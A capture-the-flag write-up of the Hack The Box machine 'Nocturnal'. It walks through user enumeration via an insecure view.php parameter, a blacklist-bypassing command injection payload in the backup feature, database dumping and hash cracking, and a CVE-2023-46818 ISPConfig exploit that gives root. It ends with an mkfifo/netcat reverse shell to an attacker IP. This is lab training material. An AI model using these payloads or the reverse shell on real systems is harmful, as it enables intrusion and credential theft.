Post

Nocturnal

Nocturnal

Reconnaissance

Port Discover

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -PN -sC -sV -oN nocturnal 10.10.11.64
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 13:22 PKT
Nmap scan report for 10.10.11.64
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.99 seconds

We will interact with the website. It has a simple interface. With login and register pages available to public. The tech stack seems to php, nginx 1.18.0 and Ubuntu. Pages were php.

Directory Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gobuster dir -u http://nocturnal.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 80 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nocturnal.htb
[+] Method:                  GET
[+] Threads:                 80
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 644]
/index.php            (Status: 200) [Size: 1524]
/register.php         (Status: 200) [Size: 649]
/view.php             (Status: 302) [Size: 2919] [--> login.php]
/uploads              (Status: 403) [Size: 162]
/admin.php            (Status: 302) [Size: 0] [--> login.php]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/dashboard.php        (Status: 302) [Size: 0] [--> login.php]
/backups              (Status: 301) [Size: 178] [--> http://nocturnal.htb/backups/]

They redirect you to login.php. We will start by registering our account marshal:test123. We are presented with the ability to upload files. I tried uploading a reverse-shell of php extension. However, we are presented with an error: Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed. . If there’s a parser on the backend we could potentially abuse the allowed files and get a reverse-shell.

But, what’s interesting is going through the discovered pages. Specifically view.php allows you to view user uploaded files. Let’s look at the request more closely on burpsuite.

/login.php/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://nocturnal.htb
Connection: keep-alive
Referer: http://nocturnal.htb/login.php
Cookie: PHPSESSID=0ukfhu16l0730vdogk64rekvuk
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=marshal&password=test123

Perhaps we could use these parameters on other page. On uploading a correct file and clicking on it we can see the following parameters:

1
2
3
4
5
6
7
8
9
10
11
GET /view.php?username=marshal&file=test.doc HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=kqj3j4anm14muolfeh4m7psr2k
Upgrade-Insecure-Requests: 1
Priority: u=0, i

On manipulating username value to admin we can actually view their uploaded files but it’s empty. Perhaps we could view other users file as well?

We launch a burpsuite intruder attack on the username value using wordlist /usr/share/seclists/Usernames/Names/names.txt. Scratch that, burpsuite community version is too slow. Let’s FFUF it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─$ ffuf -w /usr/share/seclists/Usernames/Names/names.txt:FUZZ -u "http://nocturnal.htb/view.php?username=FUZZ&file=test.doc" -t 80 -H "Cookie: PHPSESSID=toh07e3ce2539b38ihpq4d33u1" -fs 2985

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=test.doc
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/Names/names.txt
 :: Header           : Cookie: PHPSESSID=toh07e3ce2539b38ihpq4d33u1
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2985
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 195ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 103ms]
marshal                 [Status: 200, Size: 22, Words: 4, Lines: 2, Duration: 98ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 100ms]
:: Progress: [10177/10177] :: Job [1/1] :: 764 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

Marshal is my user. The other users are interesting. We have already viewed admin.

Going to http://nocturnal.htb/view.php?username=amanda&file=test.doc, we can see a file privacy.odt let’s grab it. tobias has nothing on him. We need libreoffice to view .odt file. Let’s install that first and view the file.

Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Yours sincerely,
Nocturnal's IT team

We have creds for amanda:arHkG7HAI68X8s1J now. Using her creds to login we can access the admin panel and it lists down the directory structure but only the php files. The files don’t expose anything. We will test the backup functionality with burpsuite intercepting the request so we could analyze it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://nocturnal.htb
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php
Cookie: PHPSESSID=toh07e3ce2539b38ihpq4d33u1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=test&backup=

We are even able to retrieve the backup files using the download files option. Using the backup password we can unzip the downloaded files.

1
2
3
4
5
6
7
8
9
10
11
GET /backups/backup_2025-07-03.zip HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php
Cookie: PHPSESSID=toh07e3ce2539b38ihpq4d33u1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

An interesting directory is found in the file login.php: ../nocturnal_database/nocturnal_database.db. Perhaps we could abuse the parameters to do unexpected functionality after all admin.php code is exposed.

Code of interest:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }

        sleep(2);

        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }

        unlink($logFile);
    }
}
?>

Command Injection

Line of interest:

1
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

We can see how they try to sanitize the password first. Perhaps we could insert a url-encoded command instead of password? After countless tries of command injection from PayloadAllTheThings, what ultimately helped us was the Payload %0Abash%09-c%09"ls%09.."%0A". Why does it work? Instead of using simple space character that is encoded to + or %20 it uses tab-character %09. Also it escapes the command by inserting a newling character %0A at the start and at the end. What didn’t work? Anything that included the blacklisted characters or even simple URL-Encoding that you would normally think of like encoding bash -c "ls", or special characters.

For payload: password=%0Abash%09-c%09"ls%09../nocturnal_database/"%0A&backup=

We get the output:

alt text

We could cat the file for some juicy content? cat doesn’t work, but we know there is an installation of sqlite3 and that’s what is running on the backend as well. We could dump the files.

Foothold

We dump the database the following way:

%0Abash%09-c%09"sqlite3%09../nocturnal_database/nocturnal_database.db%09.dump"%0A

Decoded:

\n\tbash\t-c\t"sqlite3\t../nocturnal_database/nocturnal_database.db\t.dump"\n

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL
);
INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');
INSERT INTO users VALUES(6,'kavi','f38cde1654b39fea2bd4f72f1ae4cdda');
INSERT INTO users VALUES(7,'e0Al5','101ad4543a96a7fd84908fd0d802e7db');
INSERT INTO users VALUES(8,'asdf','912ec803b2ce49e4a541068d495ab570');
INSERT INTO users VALUES(9,'test1','ceb6c970658f31504a901b89dcd3e461');
INSERT INTO users VALUES(10,'test','098f6bcd4621d373cade4e832627b4f6');
CREATE TABLE uploads (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    user_id INTEGER NOT NULL,
    file_name TEXT NOT NULL,
    upload_time DATETIME DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY(user_id) REFERENCES users(id)
);
---SNIP---
INSERT INTO sqlite_sequence VALUES('users',10);
INSERT INTO sqlite_sequence VALUES('uploads',24);
COMMIT;

We were able to find hashes for multiple users including tobias and admin. Let’s put them on CrackStation and figure out their passwords.

1
2
3
4
admin:N/A
amanda:N/A
tobias:slowmotionapocalypse
kavi:kavi

Let’s try to SSH with their creds. Tobias creds can be used to SSH. User flag is located in tobias’s home directory.

Privilege Escalation

Generally it’s a good practice to check for listening services/ports in a machine.

1
2
3
4
5
6
7
8
9
10
11
12
ss -tulnp
Netid        State         Recv-Q        Send-Q                 Local Address:Port                  Peer Address:Port        Process        
udp          UNCONN        0             0                      127.0.0.53%lo:53                         0.0.0.0:*                          
tcp          LISTEN        0             10                         127.0.0.1:587                        0.0.0.0:*                          
tcp          LISTEN        0             4096                       127.0.0.1:8080                       0.0.0.0:*                          
tcp          LISTEN        0             511                          0.0.0.0:80                         0.0.0.0:*                          
tcp          LISTEN        0             4096                   127.0.0.53%lo:53                         0.0.0.0:*                          
tcp          LISTEN        0             128                          0.0.0.0:22                         0.0.0.0:*                          
tcp          LISTEN        0             10                         127.0.0.1:25                         0.0.0.0:*                          
tcp          LISTEN        0             70                         127.0.0.1:33060                      0.0.0.0:*                          
tcp          LISTEN        0             151                        127.0.0.1:3306                       0.0.0.0:*                          
tcp          LISTEN        0             128                             [::]:22                            [::]:*

3306 is easily identifiable as MySQL. 8080 is usually associated with a http-server. We need to create an SSH Tunnel to access it.

SSH Tunnel

ssh -L 8080:127.0.0.1:8080 tobias@10.10.11.64

Now we can visit it.

ISPCONFIG

We are now greeted by this, ISPCONFIG page:

alt text

We could try amanda, tobias, and kavi’s creds. Creds for amanda and kavi fail. After trying all 4 username with all 3 passwords that we had what worked was the combination admin:slowmotionapocalypse.

In help page we are able to find ISPConfig Version: 3.2.10p1. Let’s try searching for any known exploits.

Exploiting CVE-2023-46818

Description:

1
An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.

We were able to find a python exploit for the vulnerability. Python Vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿vm-kali)-[~/htb/nocturnal/exploit/CVE-2023-46818]
└─$ python3 CVE-2023-46818.py http://127.0.0.1:8080 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: language_edit_33c052248eba2ab031b739c7
[+] CSRF Key: 687f32b07b8bc95981c61de9461143f87509a8fd
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8080/admin/sh.php
[+] Launching shell...

ispconfig-shell# whoami
root

ispconfig-shell# pwd
/usr/local/ispconfig/interface/web/admin

Let’s get a reverse shell.

1
ispconfig-shell# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.45 1234 >/tmp/f
1
2
3
4
5
6
┌──(kali㉿vm-kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.45] from (UNKNOWN) [10.10.11.64] 36012
sh: 0: can't access tty; job control turned off
# cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.